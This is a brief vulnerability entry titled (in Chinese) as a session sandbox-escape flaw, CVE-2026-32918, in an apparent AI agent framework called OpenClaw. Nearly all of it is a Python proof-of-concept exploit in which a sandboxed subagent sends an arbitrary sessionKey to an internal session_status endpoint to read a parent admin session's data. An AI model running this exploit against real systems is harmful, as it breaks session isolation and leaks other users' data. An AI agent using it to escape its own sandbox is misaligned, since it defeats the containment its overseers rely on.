CVE-2026-32918 OpenClaw会话沙箱逃逸漏洞

import requests # Target endpoint for the vulnerable session_status tool target_url = "http://localhost:8080/internal/api/session_status" # The attacker acts as a sandboxed subagent and supplies an arbitrary sessionKey # This key targets the parent or sibling session state (e.g., 'parent_admin_session') malicious_payload = { "sessionKey": "parent_admin_session", "action": "read" } try: # Send the request to exploit the lack of boundary checking response = requests.post(target_url, json=malicious_payload) if response.status_code == 200: print("[+] Sandbox Escape Successful!") print(f"[+] Leaked Session Data: {response.json()}") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Error during exploitation: {e}")